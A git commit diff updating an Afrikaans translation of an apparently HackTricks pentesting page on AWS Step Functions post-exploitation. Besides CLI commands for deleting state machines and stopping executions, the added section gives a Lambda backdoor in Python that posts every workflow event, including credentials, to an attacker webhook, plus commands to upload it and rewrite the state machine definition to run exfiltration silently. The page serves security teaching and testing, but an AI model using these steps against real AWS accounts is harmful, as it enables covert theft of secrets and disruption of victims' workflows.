Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-03-27 12:45:05 +00:00
parent 516bba2efe
commit b06213a2f2

View File

@@ -4,7 +4,7 @@
## Stap Funksies
Vir meer inligting oor hierdie AWS diens, kyk:
Vir meer inligting oor hierdie AWS-diens, kyk:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
@@ -18,13 +18,13 @@ Hierdie toestemming laat toe om **geheime data binne 'n uitvoering te onthul**.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
'n Aanvaller met hierdie toestemmings sal in staat wees om staatmasjiene, hul weergawes en aliase permanent te verwyder. Dit kan kritieke werksvloei ontwrig, lei tot dataverlies, en 'n beduidende hoeveelheid tyd vereis om die geraakte staatmasjiene te herstel en te herstel. Daarbenewens sal dit 'n aanvaller in staat stel om die spore wat gebruik is, te verberg, forensiese ondersoeke te ontwrig, en moontlik operasies te verlam deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder.
'n Aanvaller met hierdie toestemmings sal in staat wees om staatmasjiene, hul weergawes en aliase permanent te verwyder. Dit kan kritieke werksvloei ontwrig, lei tot dataverlies, en 'n beduidende tyd vereis om die geraakte staatmasjiene te herstel en te herstel. Daarbenewens sal dit 'n aanvaller in staat stel om die spore wat gebruik is, te verberg, forensiese ondersoeke te ontwrig, en potensieel operasies te verlam deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder.
> [!NOTE]
>
> - Deur 'n staatmasjien te verwyder, verwyder jy ook al sy geassosieerde weergawes en aliase.
> - Deur 'n staatmasjien alias te verwyder, verwyder jy nie die staatmasjien weergawes wat na hierdie alias verwys nie.
> - Dit is nie moontlik om 'n staatmasjien weergawe te verwyder wat tans deur een of meer aliase verwys word nie.
> - Deur 'n staatmasjienalias te verwyder, verwyder jy nie die staatmasjienweergawes wat na hierdie alias verwys nie.
> - Dit is nie moontlik om 'n staatmasjienweergawes te verwyder wat tans deur een of meer aliase verwys word nie.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
@@ -37,15 +37,15 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
### `states:UpdateMapRun`
'n Aanvaller met hierdie toestemming sou in staat wees om die Map Run mislukking konfigurasie en parallelle instelling te manipuleer, en sou in staat wees om die maksimum aantal kind werksvloei uitvoerings toegelaat te verhoog of te verlaag, wat direk die diens se prestasie beïnvloed. Daarbenewens kan 'n aanvaller met die verdraagbare mislukking persentasie en telling mors, en sou in staat wees om hierdie waarde tot 0 te verlaag sodat elke keer as 'n item misluk, die hele kaart loop sou misluk, wat direk die staat masjien uitvoering beïnvloed en potensieel kritieke werksvloei ontwrigt.
'n Aanvaller met hierdie toestemming sou in staat wees om die Map Run mislukking konfigurasie en parallel instelling te manipuleer, en sou in staat wees om die maksimum aantal kind werksvloei uitvoerings toegelaat te verhoog of te verlaag, wat direk die diens se prestasie beïnvloed. Daarbenewens kan 'n aanvaller met die toegelate mislukking persentasie en telling mors, en in staat wees om hierdie waarde tot 0 te verlaag sodat elke keer as 'n item misluk, die hele kaart loop sou misluk, wat direk die staat masjien uitvoering beïnvloed en potensieel kritieke werksvloei ontwrigt.
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
- **Potensiële Impak**: Prestasiedegredasie en ontwrigting van kritieke werksvloei.
- **Potensiële Impak**: Prestasiedegredasie en onderbreking van kritieke werksvloei.
### `states:StopExecution`
'n Aanvaller met hierdie toestemming kan in staat wees om die uitvoering van enige staatmasjien te stop, wat lopende werksvloei en prosesse ontwrig. Dit kan lei tot onvoltooide transaksies, gestaakte besigheidsbedrywighede en potensiële datakorruptie.
'n Aanvaller met hierdie toestemming kan in staat wees om die uitvoering van enige staatmasjien te stop, wat lopende werksvloei en prosesse onderbreek. Dit kan lei tot onvoltooide transaksies, gestaakte besigheidsbedrywighede, en potensiële datakorruptie.
> [!WARNING]
> Hierdie aksie word nie ondersteun deur **express state machines**.
@@ -61,6 +61,125 @@ aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--ca
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide.
**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide.
---
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
'n Aanvaller wat 'n gebruiker of rol met die volgende toestemmings kompromitteer:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...kan 'n **hoë-impak en stealthy post-exploitation aanval** uitvoer deur Lambda backdooring te kombineer met Step Function logika manipulasie.
Hierdie scenario neem aan dat die slagoffer **AWS Step Functions gebruik om werksvloei te orkestreer wat sensitiewe invoer verwerk**, soos geloofsbriewe, tokens, of PII.
Voorbeeld slagoffer aanroep:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
As die Stap Funksie geconfigureer is om 'n Lambda soos `LegitBusinessLogic` aan te roep, kan die aanvaller voortgaan met **twee stil aanval variasies**:
---
#### Opgedateer die lambda funksie
Die aanvaller wysig die kode van die Lambda funksie wat reeds deur die Stap Funksie (`LegitBusinessLogic`) gebruik word om stilweg invoerdata te eksfiltreer.
```python
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
```
```bash
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---
#### Voeg 'n Kwaadwillige Toestand by die Stap Funksie
Alternatiewelik kan die aanvaller 'n **exfiltrasietoestand** aan die begin van die werksvloei inspuit deur die Stap Funksie-definisie op te dateer.
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
```
```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
Die aanvaller kan selfs meer stil wees om die staatdefinisie op te dateer na iets soos hierdie
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
waar die slagoffer nie die verskil sal besef nie
---
### Slagoffer Opstelling (Konteks vir Exploit)
- 'n Stap Funksie (`LegitStateMachine`) word gebruik om sensitiewe gebruikersinvoer te verwerk.
- Dit roep een of meer Lambda funksies aan soos `LegitBusinessLogic`.
---
**Potensiële Impak**:
- Stille eksfiltrasie van sensitiewe data insluitend geheime, akrediteer, API sleutels, en PII.
- Geen sigbare foute of mislukkings in werksvloei-uitvoering nie.
- Moeilik om te ontdek sonder om Lambda kode of uitvoeringsspore te oudit.
- Maak langtermyn volharding moontlik as die backdoor in kode of ASL logika bly.
{{#include ../../../banners/hacktricks-training.md}}